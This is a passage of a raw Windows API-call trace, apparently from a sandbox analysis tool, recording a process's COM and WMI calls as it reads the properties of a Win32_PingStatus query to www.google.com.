[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4b270) returned 0x0 [0138.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b270, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0138.701] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4b270, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b280) returned 0x0 [0138.701] WbemStatusCodeText:IUnknown:Release (This=0x4f4b270) returned 0x0 [0138.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b280) returned 0x0 [0138.702] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0138.702] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b280) returned 0x3 [0138.702] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0138.702] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0138.702] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0138.702] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0138.702] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0138.702] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0138.702] WbemStatusCodeText:IUnknown:Release (This=0x4f4b280) returned 0x2 [0138.702] WbemStatusCodeText:IUnknown:Release (This=0x4f4b280) returned 0x1 [0138.702] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0138.702] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0138.702] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b280, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b280) returned 0x0 [0138.702] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b280) returned 0x3 [0138.702] WbemStatusCodeText:IUnknown:Release (This=0x4f4b280) returned 0x2 [0138.702] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b280, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0138.703] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.727] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.727] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.727] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.727] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.727] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.727] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.727] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0138.727] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.727] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.727] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0138.727] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.727] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.727] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.727] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.727] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.727] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.728] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.728] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.728] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.728] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.728] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.728] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.728] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.728] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.728] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.728] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.728] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.728] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.728] SysStringByteLen (bstr="__PATH") returned 0xc [0138.728] SysStringByteLen (bstr="__PATH") returned 0xc [0138.728] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c994*=0, plFlavor=0x245c998*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245c994*=3, plFlavor=0x245c998*=64) returned 0x0 [0138.729] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245c9c8*=0, plFlavor=0x245c9cc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245c9c8*=8, plFlavor=0x245c9cc*=64) returned 0x0 [0138.729] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.729] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.729] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ca20*=0, plFlavor=0x245ca24*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ca20*=8, plFlavor=0x245ca24*=64) returned 0x0 [0138.729] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ca48*=0, plFlavor=0x245ca4c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245ca48*=8, plFlavor=0x245ca4c*=64) returned 0x0 [0138.729] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.729] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.729] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245caa0*=0, plFlavor=0x245caa4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245caa0*=8, plFlavor=0x245caa4*=64) returned 0x0 [0138.729] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.729] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.729] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245cc7c*=0, plFlavor=0x245cc80*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245cc7c*=3, plFlavor=0x245cc80*=64) returned 0x0 [0138.730] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ccb0*=0, plFlavor=0x245ccb4*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245ccb0*=8200, plFlavor=0x245ccb4*=64) returned 0x0 [0138.730] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245cce4*=0, plFlavor=0x245cce8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245cce4*=8, plFlavor=0x245cce8*=64) returned 0x0 [0138.730] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.730] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.730] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245cd30*=0, plFlavor=0x245cd34*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245cd30*=8, plFlavor=0x245cd34*=64) returned 0x0 [0138.730] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.730] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.730] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245cd7c*=0, plFlavor=0x245cd80*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245cd7c*=8, plFlavor=0x245cd80*=64) returned 0x0 [0138.731] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.731] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0138.731] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0138.731] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.731] IWbemClassObject:Get (in: This=0x507f00, wszName="WriteWarningStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245cfb4*=0, plFlavor=0x245cfb8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245cfb4*=0, plFlavor=0x245cfb8*=0) returned 0x80041002 [0138.731] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0138.732] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4b270) returned 0x0 [0138.733] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b270, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0138.733] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4b270, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b290) returned 0x0 [0138.733] WbemStatusCodeText:IUnknown:Release (This=0x4f4b270) returned 0x0 [0138.733] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b290) returned 0x0 [0138.733] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0138.733] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b290) returned 0x3 [0138.734] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0138.734] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0138.734] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0138.734] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0138.734] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0138.734] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0138.734] WbemStatusCodeText:IUnknown:Release (This=0x4f4b290) returned 0x2 [0138.734] WbemStatusCodeText:IUnknown:Release (This=0x4f4b290) returned 0x1 [0138.734] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0138.734] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0138.734] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b290, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b290) returned 0x0 [0138.734] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b290) returned 0x3 [0138.734] WbemStatusCodeText:IUnknown:Release (This=0x4f4b290) returned 0x2 [0138.734] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b290, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0138.734] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.736] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.736] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.736] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.736] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.736] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.736] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.736] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0138.736] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.736] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.736] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0138.736] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.736] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.736] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.736] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.736] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.736] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.736] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.737] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.737] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.737] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.737] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.737] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.737] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.737] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.737] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.737] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.737] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.737] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.737] SysStringByteLen (bstr="__PATH") returned 0xc [0138.737] SysStringByteLen (bstr="__PATH") returned 0xc [0138.737] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d394*=0, plFlavor=0x245d398*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245d394*=3, plFlavor=0x245d398*=64) returned 0x0 [0138.737] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d3c8*=0, plFlavor=0x245d3cc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245d3c8*=8, plFlavor=0x245d3cc*=64) returned 0x0 [0138.738] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.738] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.738] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d420*=0, plFlavor=0x245d424*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d420*=8, plFlavor=0x245d424*=64) returned 0x0 [0138.738] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d448*=0, plFlavor=0x245d44c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245d448*=8, plFlavor=0x245d44c*=64) returned 0x0 [0138.738] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.738] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.738] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d4a0*=0, plFlavor=0x245d4a4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245d4a0*=8, plFlavor=0x245d4a4*=64) returned 0x0 [0138.738] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.738] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.738] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d67c*=0, plFlavor=0x245d680*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, 